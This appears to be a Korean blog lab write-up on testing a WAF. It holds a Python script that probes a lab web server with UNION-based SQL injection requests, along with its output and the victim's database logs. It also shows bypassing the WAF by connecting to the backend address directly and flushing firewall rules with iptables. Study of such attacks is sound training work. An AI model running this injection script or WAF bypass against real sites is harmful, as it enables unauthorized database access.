실습> 웹 공격하기
WAF 에서 공격을 분석한다.
1. 분석 소스 코드
-- wapplesAttack.py --
"""
파일명 : wapplesAttack.py
프로그램 설명 : Wapple WAF 테스트를 위한 웹 애플리케이션 공격 예제
작성자 : James Ko
"""
import requests
import bs4
import time
id = 'bbs1 union select 1'
m = 'list'
agentValue = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
headerValue = {'User-Agent': agentValue, 'cookie':'PHPSESSID=mqv4hnmse0siundlt64ie6vpf1'}
for i in range(1,51):
if i > 1:
id = id + ',' + str(i)
# url = f"http://server1.kr/?id={id}&m={m}"
# url = f"http://www.server1.kr/?id={id}&m={m}"
url = f"http://192.168.20.15/?id={id}&m={m}"
r = requests.get(url, headers=headerValue)
soup = bs4.BeautifulSoup(r.text, 'html.parser')
if soup.find('b') == None:
#print(r.text)
print(f'UNION 매칭 OK!!!\n {i} : {url} <<<')
break
else:
print(f'>>> {i} : {url} <<<')
-- wapplesAttack.py --
2. 방화벽 룰 삭제
위에서 설정한 방화벽 룰을 삭제한다.
# iptables -F
3. 로그 모니터링
공격이 들어오는 부분을 분석하기 위해서 로그를 모니터링 한다.
# tail -f /var/lib/mysql/mariadb.log
4. 공격
url부분이 간접 접속을 하면 WAF에 막혀서 공격이 안된다.
로그에는 DB접속이 안남는다. (WAF 막힌 것이다.)
url = f"http://192.168.20.15/?id={id}&m={m}"
아래처럼 print() 부분의 주석을 제거하고 공격하면 결과가 400 Bad Request의 응답이 오는 것을 확인할 수 있다.
WAF 에 막힌 것이다.
if soup.find('b') == None:
print(r.text)
<title>400 Bad Request</title>
SQL injection 부분을 Double Click해서 정책을 변경한다.
400 Bad Request -> 페이지 이동 : http://naver.com 로 수정한다. -> 설정완료 -> 저장 -> 메모기록 X
url부분이 직접 접속을 하면 WAF과 상관이 없기 때문에 공격이 성공된다.
url = f"http://192.168.20.101/?id={id}&m={m}"
# print(r.text)
VSCode에서 출력되는 내용
>>> 1 : http://192.168.20.101/?id=bbs1 union select 1&m=list <<<
>>> 2 : http://192.168.20.101/?id=bbs1 union select 1,2&m=list <<<
>>> 3 : http://192.168.20.101/?id=bbs1 union select 1,2,3&m=list <<<
>>> 4 : http://192.168.20.101/?id=bbs1 union select 1,2,3,4&m=list <<<
>>> 5 : http://192.168.20.101/?id=bbs1 union select 1,2,3,4,5&m=list <<<
>>> 6 : http://192.168.20.101/?id=bbs1 union select 1,2,3,4,5,6&m=list <<<
>>> 7 : http://192.168.20.101/?id=bbs1 union select 1,2,3,4,5,6,7&m=list <<<
UNION 매칭 OK!!!
8 : http://192.168.20.101/?id=bbs1 union select 1,2,3,4,5,6,7,8&m=list <<<
Victim 웹서버의 로그를 모니터링하는 부분에 남는 로그는 아래와 같다.
220127 21:48:33 553 Connect root@localhost as anonymous on mywebsite
553 Query SELECT * FROM bbs1 union select 1 ORDER BY no DESC
553 Quit
554 Connect root@localhost as anonymous on mywebsite
554 Query SELECT * FROM bbs1 union select 1,2 ORDER BY no DESC
554 Quit
555 Connect root@localhost as anonymous on mywebsite
555 Query SELECT * FROM bbs1 union select 1,2,3 ORDER BY no DESC
555 Quit
556 Connect root@localhost as anonymous on mywebsite
556 Query SELECT * FROM bbs1 union select 1,2,3,4 ORDER BY no DESC
556 Quit
557 Connect root@localhost as anonymous on mywebsite
557 Query SELECT * FROM bbs1 union select 1,2,3,4,5 ORDER BY no DESC
557 Quit
558 Connect root@localhost as anonymous on mywebsite
558 Query SELECT * FROM bbs1 union select 1,2,3,4,5,6 ORDER BY no DESC
558 Quit
559 Connect root@localhost as anonymous on mywebsite
559 Query SELECT * FROM bbs1 union select 1,2,3,4,5,6,7 ORDER BY no DESC
559 Quit
560 Connect root@localhost as anonymous on mywebsite
560 Query SELECT * FROM bbs1 union select 1,2,3,4,5,6,7,8 ORDER BY no DESC
560 Quit
'Linux > 모의해킹' 카테고리의 다른 글
| Blind SQLi (0) | 2022.01.30 |
|---|---|
| 게시판 목록에서 member 테이블의 컬럼을 모두 출력 (0) | 2022.01.30 |
| 방화벽으로 직접 접속 금지하기 (0) | 2022.01.30 |
| 웹서버를 WAF 안으로 넣기 (0) | 2022.01.30 |
| 자신의 네트워크 대역에서 사용하는 호스트 확인하기 (0) | 2022.01.30 |